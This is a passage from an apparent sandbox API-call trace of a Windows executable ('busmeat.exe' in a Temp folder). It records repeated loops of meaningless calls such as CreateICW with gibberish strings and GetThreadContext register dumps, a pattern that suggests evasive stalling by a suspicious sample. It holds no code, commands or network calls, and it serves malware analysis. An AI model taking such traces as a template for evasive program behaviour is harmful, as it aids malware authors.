[112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.307] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.308] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.308] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.308] GetConsoleCP () returned 0x0
	[0066.308] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.308] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.309] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.309] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.309] GetConsoleCP () returned 0x0
	[0066.309] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.309] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.310] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.310] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.310] GetConsoleCP () returned 0x0
